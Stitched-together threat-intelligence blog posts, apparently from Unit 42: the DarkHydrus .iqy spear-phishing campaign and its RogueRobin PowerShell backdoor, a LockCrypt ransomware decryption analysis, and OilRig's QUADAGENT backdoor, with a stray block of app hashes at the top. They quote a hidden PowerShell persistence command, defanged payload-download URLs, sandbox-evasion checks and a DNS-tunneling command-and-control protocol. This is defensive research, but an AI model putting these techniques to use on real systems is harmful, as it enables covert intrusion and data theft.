399058e95153600a471d94309a6c3e87f3851647fb003f6d4289fa5b5df389a4 Couple shirts com.KaosCouple.odieapps
44066a23057ee93bed27737e8f444150c29c68b14bc9b21419f549188e436103 Unique Graffiti com.GrafitiUniK.odieapps
1fcd61a10c170d259fca12e52d1930018adafad5613551b5bbb14987de1c7cfd Paper flower com.BungaKerTas.odieapps
0b85488788f7f83e879f41591d674b50d4daafb60094918391d98f143ba54ddc Night gown com.BaJuTiDuR.odieapps
cb11dd259fa4fc0c1b4ee878cfb3c2df2a0a6ecab83276e33185ba7ce45c46ba Wardrobe Ideas com.IdeLeMaRi.odieapps
4091c8acea954fffd22be4c0675c440cf1fe4620d6659b8d23d8d3a2fc815e20 Dining table com.MejaMakaN.odieapps
9412ca41b7c9aebaeef05fe5c45bf5c5d998e5da44d5a7a495f5ba06c00feea0 Gymnastics com.LatiHaNSeNaM.odieapps
761032267b9659cd04676fce55e602a87e43cb4c75c58fa61486cc73da0016c6 Use Child com.PakaiAnAnak.odieapps
14bffba23e2bf4a61b4a54f1ef5027225290eab7f10d4c663570629e456cf51e Window Design com.DesainJenDeLa.odieapps
5dca7151c50ce88102b1fc5c0dd984c57202ad7c67f25be231d64cf1d52da437 Hijab StyLe com.HijabStyLe.odieapps
3350f4eb55c2f00c1ba0380044a1a6670a4eddc5cbabf903f2ad2e266eab58d2 Wing Chun com.TeknikWingChuni.xsadroid
c99a6e7e5d066076bacfad9142e3cf01855525782d638ccfe9ce7cd57d11ca5c Fencing Technique com.TeknikAnggar.xsadroid

New Threat Actor Group DarkHydrus Targets Middle East Government

Posted on by Robert Falcone

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).
.iqy files are simple text files containing a URL which are opened by default by Excel. Once opened, Excel will retrieve whatever object is at the URL inside the file. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin.

Attack Analysis
The actors sent the spear-phishing emails between July 15 and 16. Each of the emails had a password protected RAR archive attached named credential.rar. The body of the message, seen in Figure 1 was written in Arabic and asks the recipient to review the document within the archive. The message also includes the password 123456 that is required to open the RAR archive. The credential.rar archive contained a malicious .iqy file named credential.iqy.
image003

Figure 1 Message body in delivery email

Google Translate renders the Arabic message as:

Hi
Please review and review the attached file
Gratefully
Password: 123456

Payload Analysis
The credential.iqy is an .iqy file (SHA256: cc1966eff7bed11c1faada0bb0ed0c8715404abd936cfa816cef61863a0c1dd6) that contains nothing more than the following text string:
hxxp://micrrosoft[.]net/releasenotes.txt
Microsoft Excel natively opens .iqy files and will use the URL in the file to obtain remote data to include in the spreadsheets. By default, Excel does not allow the download of data from the remote server, but will ask for the user’s consent by presenting the dialog box in Figure 2:

Hydrus_2

Figure 2 Excel security notice for .iqy files

By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file. The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d)  contains the following formula that Excel will save to the “A0” cell in the worksheet:

The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1. By default, Excel will not launch the command prompt application, but will do so with the user’s consent via the following dialog box in Figure 3:
Hydrus_3

Figure 3 Confirmation of access of remote data

The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. The decompressed PowerShell payload has some similarities to the PowerShell Empire agent, such as the use of a jitter value and commands referred to by job ID, but we do not have conclusive evidence that the author of this tool used Empire as a basis for their tool.
Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment. The specific sandbox checks include:

  • Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm.
  • Using WMI to check the BIOS manufacturer for XEN.
  • Using WMI to check if the total physical memory is less than 2900000000.
  • Using WMI to check if the number of CPU cores is less than or equal to 1.
  • Enumerates running processes for "Wireshark" and "Sysinternals".

If the payload determines it is not running in a sandbox, it will attempt to install itself to the system to persistently execute. To install the payload, the script will create a file %APPDATA%\OneDrive.bat and save the following string to it:
powershell.exe -WindowStyle Hidden -exec bypass  -File "%APPDATA%\OneDrive.ps1"
The script then writes a modified copy of itself to %APPDATA%\OneDrive.ps1, with the code that performs this installation omitted. To persistently execute when the system starts, the script will create the following shortcut in the Windows startup folder, which will run the OneDrive.ps1 script each time the user logs in:
$env:SystemDrive\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
The payload itself communicates with its configured command and control (C2) servers using a custom DNS tunneling protocol. The domains configured within this payload are:

  • Anyconnect[.]stream
  • Bigip[.]stream
  • Fortiweb[.]download
  • Kaspersky[.]science
  • microtik[.]stream
  • owa365[.]bid
  • symanteclive[.]download
  • windowsdefender[.]win

The DNS tunneling protocol can use multiple different DNS query types to interact with the C2 server. The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server.  It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server, which are in the following order (editor's note: AC is not a  DNS record type but is a mode where the trojan will perform a request for an A record requiring ac as a subdomain):

  • A
  • AAAA
  • AC - (see note above)
  • CNAME
  • MX
  • TXT
  • SRV
  • SOA

The payload uses the built-in Windows nslookup application with specific parameters and specially crafted subdomains to communicate with the C2. To establish communications with the C2, the payload will first get a system specific identifier issued by the C2 server. The initial DNS query sent by the payload to obtain the system specific identifier uses the following structure, which includes the current process identifier (PID) as the subdomain of the C2 domain:
<current process id>.<c2 domain>
The C2 server will provide the system specific identifier within the answer portion of the DNS response. Table 1 explains how the payload obtains the system identifier from the C2 server’s answer depending on the query type:

DNS Type Description
A Uses the regular expression '(\d+)\-.$Global:domain' to get the decimal value from the answer
AAAA The payload will split the IPv6 answer on ":" take the [0] and [1] digits treat them as a hexadecimal value to obtain an integer.
AC,CNAME,MX,TXT,SRV,SOA Uses the regular expression 'Address:\s+(\d+.\d+.\d+.\d+)' and uses the decimal value in the first octet of that IPv4 address

Table 1 Breakdown of query types

Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server. The information gathered is added to a string in the following structure:
<IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<"hybrid" mode flag from config>|<sleep interval from config>|<jitter value from config>
The payload will base64 encode this string and use its DNS tunneling protocol to transmit the data to the C2. The tunneling protocol transmits data by sending a series of DNS queries with the data within the subdomain of the C2 domain. The structure of each of these outbound DNS requests is as follows:
<system ID>-<job ID>-<offset in data><more data flag>-<random length of base64 encoded data between 30 and 42 characters>.<c2 domain>
The payload will look for different responses to these outbound queries depending on the type of DNS request that the payload uses to communicate with the C2. The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications:

DNS Type Successful Cancel
A,AC 1.1.1.\d+ 1.2.9.\d+
AAAA 2a00:: 2200::
CNAME,MX,TXT,SRV,SOA ok cancel

After providing system specific information, the payload will Interact with the C2 server to obtain commands, which the payload refers to as jobs. The C2 will provide a string that the payload will use to determine the command to execute based on its command handler. To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure:
<system id>-<job ID>-<offset data specific to job>.<c2 domain>
The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server. The payload will use a specific regular expressions dependent on the type of DNS query was used to obtain the command string, which can be seen in Table 2:

DNS TYPE Regex Pattern
A Address:\s+(\d+.\d+.\d+.\d+)
AC \d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.$Global:domain
AAAA Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})
CNAME,MX,TXT,SRV,SOA (\d+)-([\w\d/=+]{0,})\-.$Global:domain

Table 2 Types of responses provided by C2

These regular expressions are used to build strings that the payload will then subject to its command handler. We analyzed the payload to determine the commands available, which provide a variety of remote administration capabilities. The command handle looks for the following command strings in Table 3:

Command Description
$fileDownload Uploads the contents of a specified file to C2
$importModule Adds a specified PowerShell module to the current script
$screenshot Executes the contents of the command, which should be the string '$screenshot'. We are not sure if this works, but the command name would suggest it is meant to take a screenshot
$command Runs a PowerShell command and sends the output to the C2
slp:\d+ Sets the sleep interval between C2 beacons
$testmode Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful. This command will automatically set the DNS type to use for actual C2
$showconfig Uploads the current configuration of the payload to the C2
slpx:\d+ Sets the sleep interval between outbound DNS requests
$fileUpload Downloads contents from the C2 server and writes them to a specified file

Table 3 Commands available to payload

Campaign Analysis
The following domains are configured within the payload to be used as C2s. Thematically, each domain appeared to be attempting to spoof the legitimate domain of an existing technology provider with an emphasis on security vendors.

  • Anyconnect[.]stream
  • Bigip[.]stream
  • Fortiweb[.]download
  • Kaspersky[.]science
  • microtik[.]stream
  • owa365[.]bid
  • symanteclive[.]download
  • windowsdefender[.]win

The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system. These IPs provided insufficient data for additional investigations. However, each of the listed domains used ns102.kaspersky[.]host and ns103.kaspersky[.]host as their name servers. Examination of ns102/ns103.kaspersky[.]host revealed that the second level domain kaspersky[.]host was illegitimate and not owned by the legitimate Kaspersky Labs. Passive DNS resolution of kaspersky[.]host revealed two IPs of interest, 107.175.150[.]113 and 94.130.88[.]9.
94.130.88[.]9 showed passive DNS resolutions of two additional domains, 0utlook[.]bid and hotmai1[.]com. It is unknown what these domains may have been used for but based on the similarity of domain spoofing and sharing an IP, they are likely part of the adversary infrastructure. 107.175.150[.]113 showed one other domain resolution, <redacted>.0utl00k[.]net. We were able to link this specific domain as a C2 for another weaponized document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) containing a PowerShell script very similar to the one found in this attack. Examining the second level domain of 0utl00k[.]net revealed another IP of interest, 195.154.41[.]150. This IP contained two other domain resolutions following the vendor spoofing theme: allexa[.]net and cisc0[.]net. Expanding upon cisc0[.]net, we discovered several weaponized documents and payloads using this domain as a C2, from mid to late 2017.
Open source intelligence provided by ClearSky Security indicates the domain cisc0[.]net is possibly related to the adversary group known as Copy Kittens. While there are significant tactical overlaps such as similarity of techniques used as well as victimology, we were unable to uncover significant evidence of relational overlaps. Further information regarding the Copy Kittens adversary can be found in a paper titled Operation Wilted Tulip.
Our own dataset provides a solid grouping of the DarkHydrus group, with significant overlaps in C2 infrastructure as well as similarities in weaponized binaries. C2 domains were also left online and reused over an extended amount of time, such as the domain micrrosoft[.]net which was used in this attack in addition to two other payloads in January 2017 and July 2017.
Studying the other samples, we have attributed to DarkHydrus, we are able to ascertain that this adversary has mainly leveraged weaponized Microsoft Office documents using tools available freely or from open source repositories such as Meterpreter, Mimikatz, PowerShellEmpire, Veil, and CobaltStrike. The documents generally do not contain malicious code and instead are weaponized to retrieve remote files containing malicious code on execution. Due to the modular nature of the delivery document, available data for analysis for these attacks are dependent upon the operational nature of the C2 server at the time of execution.

Conclusion
The DarkHydrus group carried out an attack campaign on at least one government agency in the Middle East using malicious .iqy files. The .iqy files take advantage of Excel's willingness to download and include the contents from a remote server in a spreadsheet. DarkHydrus leveraged this obscure file format to run a command to ultimately install a PowerShell scripts to gain backdoor access to the system. The PowerShell backdoor delivered in this current attack may have been custom developed by the threat group, however, it is possible that DarkHydrus pieced together this tool by using code from legitimate open source tools.
Palo Alto Networks customers are protected by:

  • The micrrosoft[.]net domain has had a malicious classification since March 3, 2017.
  • All C2 domains associated with this payload have a command and control classification.
  • Traps provides endpoint protection, as it can block Excel from creating a command prompt process.
  • AutoFocus customers may learn more from the DarkHydrus tag

IOC
Related SHA256 Hashes

Payloads
cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1
ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4
a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88
d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda
dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa
b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81
c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3
ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00
99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c

Delivery documents
d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318
8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde
9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49
cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9
0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1
0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82
870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8
ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0
01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2
6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a
47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870
776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4
cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0
e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678
26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245
b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350
ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c

Related Domains
maccaffe[.]com
cisc0[.]net
0utl00k[.]net
msdncss[.]com
0ffice[.]com
0ffiice[.]com
micrrosoft[.]net
anyconnect[.]stream
bigip[.]stream
fortiweb[.]download
kaspersky[.]science
microtik[.]stream
owa365[.]bid
symanteclive[.]download
windowsdefender[.]win
allexa[.]net
kaspersky[.]host
hotmai1[.]com
0utlook[.]bid

Decrypting the LockCrypt Ransomware

Posted on by Tomer Harpaz

Overview
LockCrypt, also known as EncryptServer2018, is a ransomware family that has been in the wild since mid 2017 and is still active today. The malware was reversed and analyzed thoroughly by Malwarebytes Labs in April, which correctly concluded that the unsophisticated home-made encryption used in this malware seems to be breakable.
However, the Malwarebytes researchers did not publish any decryptor for this malware, and we couldn't find any other public decryption method online either. The only other clue was a news post which referred victims to Michael Gillespie (@demonslay335) for help with its decryption.
We contacted Michael, who did some really nice work together with @hasherezade and @FraMauronz, but whose recovery method was incomplete – it required a large known plaintext file (1MB), could not recover all filenames, and in some cases could not decrypt 1-2 bytes in the end of the file.
In this blog post we will describe our analysis of the home-made encryption that the malware used, how we broke it, and how the encryption key can be recovered in case you have at least 25KB of known plaintext. This scenario is very realistic, since LockCrypt encrypts all of the files it can find, including application files like DLLs which can be easily recovered by installing the same software version on a different computer. Scripts and instructions for recovering files are included in the final section of the report.
Note that a new variant of this malware with better encryption has recently been spotted. We have not analyzed this new version, but it appears to use much stronger encryption.
 
Initial analysis
Disassembling the malware encryption, we found that the malware authors chose to encrypt the files using some custom-made encryption which looked pretty weak. It really surprised us that in 2018 you could still encounter a ransomware with custom encryption models, when you can easily use Windows APIs to encrypt data in a way that will take billions of years to crack using current and foreseeable hardware (for example for 128-bit AES with a key that was generated using cryptographically safe methods).
The disassembly of the encryption functions is equivalent to the following Python code (equivalent C code for the encrypt() function can be seen in Malwarebyte’s analysis and might be easier to understand because of the pointer operations):

The following conclusions are  apparent:

  1. The transformation defined by phase 1 is cyclic with a cycle length of 12500 bytes
  2. The transformation defined by phase 2 is cyclic with a cycle length of 25000 bytes
  3. Excluding edge cases (we’ll discuss those later on), each plain bit is XOR-ed to 3 key bits (two during phase 1 and another one during phase 2)
  4. If we "undo" the bit shifts done in Phase 2 (swapping back the byte order and ROR-ing back 5 bits), both phases together can be described as a stream cipher with a cyclic key of length 25000 (which is a function of the original key)

We will explain the last two conclusions using the following diagrams which visualize the transformation of data bytes 4:8 while going through the different steps of the encryption function. The ⊕ symbol between the rows indicates the bits have been XOR-ed with eachother.
Before any sort of transformation, the bits of bytes 4:8 look like:
0 before
After the 2nd iteration of the phase 1 loop:

 
After the 3rd iteration of the phase 1 loop:

 
After the 4th iteration of the phase 1 loop (and the same after the entire phase 1 loop):

During the 2nd iteration of the phase 2 loop, after the ROL operation:
4 after phase 2 after rol
During the 2nd iteration of the phase 2 loop, after the XOR operation:

The order of the bytes is then swapped, and this concludes these bytes' encryption.
 
Recovering the “stream key”
If we take the encrypted bytes 4:8 from the last diagram, unswap their order, and ROR them back 5 bits, we get:

This operation (unswapping the byte order and ROR-ing back 5 bits) has basically "normalized" the encryption to a typical stream cipher. If we then XOR these bytes with known plain bytes, we'll be left with the function of the key bits that we mentioned in conclusion 4 above:

We call this stream (whose each bit is actually three XOR-ed "original key" bits) the "stream key". Since it is cyclic with a cycle length of 25000 bytes, it seems enough to have 25000 bytes of both plain and encrypted bytes in order to recover it and then decrypt the file!
The following python function can be used to recover the stream key using some given plaintext and encrypted data pairs. The index parameter specifies the index of the 25000 known plaintext bytes in the given string (minus 4, since the first 4 bytes are never encrypted), i.e. only bytes idx+4:idx+4+25000 in the plain string will be used.
 

We should now (not really) be able to decrypt files with the following function:

Unfortunately, the above solution excludes the handling a few edge cases:

  1. The first 2 encrypted bytes (bytes 4:6 of the original file) are only XOR-ed with 2 key bits, and therefore:
    1. In order to decrypt the rest of the bytes we must use a stream key of idx >= 2
    2. In order to decrypt the first two bytes we must use the stream key of idx == 0
  2. If the length of the original file != 2 (mod 4), we will have len(plain) != 0 (mod 4) in encrypt(), and therefore we will have 1-2 bytes in the end of the file encrypted only by the last iteration of phase 1. Each plain bit of those bytes will be XOR-ed with only 1 key bit (which we don't have) and so we cannot decrypt them.

Moreover, as indicated by Malwarebytes the filenames are encrypted by XOR-ing directly with a subset of the original key, and we won't be able to decrypt them as well. A filename of length m can be decrypted if we have a known filename of length n >= m, as @demonslay335 uses in their decryptor.
To conclude, in order to recover any arbitrary length file and filename, it looks like we actually have to recover the original encryption key and not just the stream key we described.
 
Recovering the original key
The analysis we showed above in fact gave us linear equation system (over GF(2), in which XOR is the addition operation) which tie the stream key with the original key. If we try to generalize the analysis, the following python function can give us the original key bit indices which XOR-ed together result in each stream key bit (indexed by i):
 

That is, stream_key[i] == reduce(xor, (key[k] for k in k_for_i(i)))
With this function, we can generate a very sparse 200000x200000 matrix over GF(2) which will describe the transformation between the original key and the stream key:

That is, row i of the matrix A is all 0s except for the columns in A_i_j_s[i] (which are 1).
This is a VERY sparse matrix (each row contains only 3 values) and so it is feasible to solve it on a regular PC using linear algebra methods. For example, using the mathematics software SageMath, we can do the following:
 

Note that the above function assume for simplicity that idx >= 2 and that the last bytes that were used to recover the stream key were encrypted by both phase 1 (two rounds) and phase 2, that is: len(plain) >= 4 + ((idx + key_len + 3) & ~3) . The code can be fixed to address these special cases, but we did not think it was interesting.
 
Decrypting your files
To summarize, the steps to recover the encryption key used by the malware:

  1. Recover a plaintext (unencrypted) version of a file which was encrypted by the ransomware and is at least 25010 bytes of size
    1. We recommend doing that by installing the same software version of some software that was encrypted by the ransomware on a different computer, and try to match an encrypted DLL file to its original using their file sizes
  2. Install Python 2.7 if not already installed
  3. Use the recover_stream_key.py script from the link below to recover the stream key for a certain idx >= 2 from a given pair of encrypted and plaintext files.
    1. As stated above, we recommend using idx = 25000 if you have a large enough known plaintext file
  4. Install SageMath
  5. Open a SageMath Jupyter Notebook, paste the code snippet above, and execute it to recover the original encryption key
    1. IMPORTANT: Make sure to fix the 3 parameters on the top of the snippet to those of your own before running
    2. From our experiments, this step may take between 20 minutes to a few hours
  6. Use the decryptor.py script from the link below to decrypt the encrypted files

We truly hope that any victims of this ransomware will find this analysis and scripts useful in recovering their lost files.
You can find both scripts here within Unit 42's GitHub.

OilRig Targets Technology Service Provider and Government Agency with QUADAGENT

Posted on by Bryan Lee

The OilRig group continues to adapt their tactics and bolster their toolset with newly developed tools. The OilRig group (AKA APT34, Helix Kitten) is an adversary motivated by espionage primarily operating in the Middle East region. We first discovered this group in mid-2016, although it is possible their operations extends earlier than that time frame. They have shown themselves to be an extremely persistent adversary that shows no signs of slowing down. Examining their past behaviors with current events only seems to indicate that the OilRig group’s operations are likely to accelerate even further in the near future.
Between May and June 2018, Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East. Based on previously observed tactics, it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks.
The targets in these attacks included a technology services provider as well as another government entity. Both these targets were in the same nation-state. Further, the attacks against these targets were made to appear to have originated from other entities in the same country. However, the actual attackers themselves were outside this country and likely used stolen credentials from the intermediary organization to carry out their attacks.
The attacks delivered a PowerShell backdoor called QUADAGENT, a tool attributed to the OilRig group by both ClearSky Cyber Security and FireEye. In our own analysis, we were able to also confirm the attribution of this tool to the OilRig group by examining specific artifacts that were reused from tools previously used by the OilRig group in addition to tactics reused from previous attacks as well. The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented. However, packaging these scripts into a portable executable (PE) file is not a tactic we have seen the OilRig group use frequently. Detailed analysis of QUADAGENT and its ties to Oilrig is the appendix at the end of this blog. QUADAGENT is the 12th custom built tool that Unit 42 has documented the OilRig group using for their attacks.
Our analysis revealed the two QUADAGENT PE files we obtained were slightly different from each other. Primarily, one used a Microsoft .NET Framework-based dropper that also opens a decoy dialog box, which can be seen in Figure 1. The other sample was a PE file generated via a bat2exe tool.
 

SHA256 Filename PowerShell Filename Variant
5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63 <redacted> Technical Services.exe Office365DCOMCheck.ps1 Bat2exe
d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520 tafahom.exe, Sales Modification.exe SystemDiskClean.ps1 .NET

Table 1. QUADAGENT PE Files

The QUADAGENT backdoors dropped onto the hosts were nearly identical to each other, with the only differences being the command and control server (C2) and randomized obfuscation. We were also able to locate a third delivery package of the QUADAGENT backdoor as reported by ClearSky Cyber Security. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them.
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic.
 
Attack Details
This latest attack consisted of three waves between May and June 2018. All three waves involved a single spear phishing email that appeared to originate from a government agency based in the Middle East. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft.
In the two waves (May 30 and June 3) against the technology services provider, the victim email addresses were not easily discoverable via common search engines, indicating the targets were likely part of a previously collected target list, or possibly known associates of the compromised account used to send the attack emails. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename <redacted> Technical Services.exe. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it.
Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. A scheduled task is also generated to maintain persistence of the payload. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails.
The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1.
 
OilRig_1

Figure 1. Decoy dialog box

The tactic of using a decoy dialog box is commonly used by multiple adversaries and is generally deployed as a method to reduce suspicion by the victim. In comparison to being silently run, a victim may be less suspicious of a dialog/error message because they are provided what appears to be a legitimate error response when attempting to open the attachment. When a file is silently run, because there is no response to the user’s action, a victim may be more suspicious or curious on what actually happened.
After the .NET PE file has been run, we observed the same behavior as the above QUADAGENT sample of dropping a PowerShell script with the filename SystemDiskClean.ps1 alongside a VBScript file with the same name. The C2 techniques remained identical, with the only change being the server which became cpuproc[.]com.
Using rdppath[.]com as a pivot point, we collected an additional QUADAGENT sample also communicating to this C2 (SHA256: d7130e42663e95d23c547d57e55099c239fa249ce3f6537b7f2a8033f3aa73de), which was first reported by ClearSky Cyber Security. In contrast to the two samples used in these attacks, this one did not use a PE attachment, and instead used a Microsoft Word document containing a malicious macro as the delivery vehicle. The use of malicious macro delivery documents is a tactic we have observed the OilRig group use repeatedly over the three years we’ve been tracking them. The actual QUADAGENT script payload used in the ClearSky sample was exactly the same as the one we found in the bat2exe version used against the aforementioned technical services provider. The delivery document also used a filename that could be related to other technology services or media organizations within that same nation state, although it is inconclusive. The document also contained a lure image, similar to ones commonly found in malicious macro documents which ask the user to click on “Enable Content” as seen in Figure 2. Unlike many other delivery documents used by this group, there was no additional decoy content after the macro was enabled.
 
OilRig_2

Figure 2. Lure image used to entice users to enable macros

Use of Open Source Tools
In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis.
We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script.
Invoke-Obfuscation calls the variable obfuscation technique used by the actors to obfuscate this script Random Case + {} + Ticks, which changes all variables in the script to have randomly cased characters, to be surrounded in curly braces and to include the tick (`) character, which is ignored in by PowerShell. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. "{1}{0}" -f 'bar','foo').
During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis.  We used the two previously mentioned obfuscation options within Invoke-Obfuscation on this QUADAGENT sample, which resulted in the generation of a very similar script as the Office365DCOMCheck.ps1 and SystemDiskClean.ps1 payloads delivered in the attacks discussed in this blog. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack.
invoke_evensmaller
 

Figure 3. Possible steps carried out in Invoke-Obfuscation on the QUADAGENT sample

Conclusion
The OilRig group continues to be a persistent adversary group in the Middle East region. While their delivery techniques are fairly simple, the various tools we have attributed as part of their arsenal reveal sophistication. In this instance, they illustrated a typical behavior of adversary groups, wherein the same tool was reused in multiple attacks, but each had enough modifications via infrastructure change, additional obfuscation, and repackaging that each sample may appear different enough to bypass security controls. A key component to always remember is that for these type of adversary groups, they will follow the path of least resistance in their attacks, as long as their mission directive is accomplished.
Palo Alto Networks customers may learn more and are protected via the following ways:

  • WildFire classifies QUADAGENT samples as malicious
  • QUADAGENT C2 Domains have been classified as malicious
  • AutoFocus customers can track QUADAGENT via its corresponding tag

 
IOCs
SHA256 Hashes
QUADAGENT
d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520
d7130e42663e95d23c547d57e55099c239fa249ce3f6537b7f2a8033f3aa73de
5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63
 
ThreeDollars
1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c
119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc
 
Domains
rdppath[.]com
cpuproc[.]com
acrobatverify[.]com
 
Filenames
Office365DCOMCheck.ps1
Office365DCOMCheck.vbs
SystemDiskClean.ps1
SystemDiskClean.vbs
AdobeAcrobatLicenseVerify.ps1
c:\Users\<username>\AppData\Roaming\Out.jpg
 
Appendix

QUADAGENT Relationship to Other OilRig Tools
